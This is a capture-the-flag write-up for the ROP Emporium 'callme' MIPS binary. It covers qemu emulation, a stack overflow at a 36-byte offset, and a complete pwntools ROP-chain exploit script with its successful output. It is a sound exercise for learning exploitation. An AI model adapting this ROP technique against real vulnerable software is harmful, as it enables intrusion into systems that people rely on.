ROPemporium: CallMe MIPS
callme MIPS
Triage
Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain.
Disassembly
main function calls vulnerable call pwnme
pwnme function
Eumulation
Because this binary is an MIPS archetecture, to be able to run the binary we need to emulate it somehow.
I will be using qemu, specifically qemu-mipsel
Install require libraries
sudo apt install gcc-mipsel-linux-gnu
Run the binary
qemu-mipsel -L /usr/mipsel-linux-gnu ./callme_mipsel
Vulnerability
In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address.
If we supply 40 bytes, the last 4 bytes will overflow the return address and we gain control of the program counter.
Confirming the vulnerability:
python -c 'print "A"*36+"BBBB"' |qemu-mipsel -strace -L /usr/mipsel-linux-gnu ./callme_mipsel
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 3278807 done python -c 'print "A"*36+"BBBB"' |
3278808 segmentation fault (core dumped) qemu-mipsel -strace -L /usr/mipsel-linux-gnu ./callme_mipsel
Exploit
Description says:
To dispose of the need for any RE I'll tell you the following:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.
In mipsel the way to pass function parameters through registers:
a0,a1,a2,a3
We need gadgets that can load the values off the stack and into the correct registers.
Using ROPgadget:
lw_a0_a1_a2_t9 = p32(0x00400bb0)# : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
We set the link register to the pop_r3_pc
gadget to place the next function on the stack into pc
but we also have a junk register of r3
so I place 0 in there,
Script
from pwn import *
context.binary = elf = ELF("./callme_mipsel")
lw_a0_a1_a2_t9 = p32(0x00400bb0)# : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
payload = "A"*36
payload += lw_a0_a1_a2_t9
payload += p32(0)
payload += p32(elf.sym['callme_one']) # t9
payload += p32(0xd00df00d) # a2
payload += p32(0xcafebabe) # a1
payload += p32(0xdeadbeef) # a0
payload += lw_a0_a1_a2_t9
payload += p32(0)
payload += p32(elf.sym['callme_two']) # t9
payload += p32(0xd00df00d) # a2
payload += p32(0xcafebabe) # a1
payload += p32(0xdeadbeef) # a0
payload += lw_a0_a1_a2_t9
payload += p32(0)
payload += p32(elf.sym['callme_three']) # t9
payload += p32(0xd00df00d) # a2
payload += p32(0xcafebabe) # a1
payload += p32(0xdeadbeef) # a0
io = process("./callme_mipsel",env={"QEMU_LD_PREFIX":"/usr/mipsel-linux-gnu"})
#io =gdb.debug("./callme_mipsel",env={"QEMU_LD_PREFIX":"/usr/mipsel-linux-gnu"})
io.sendline(payload)
io.interactive()
Result
[*] '/home/chris/ctfs/ropemporium/callme/mips/callme_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: '.'
[+] Starting local process './callme_mipsel': pid 3281191
[*] Switching to interactive mode
callme by ROP Emporium
MIPS
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$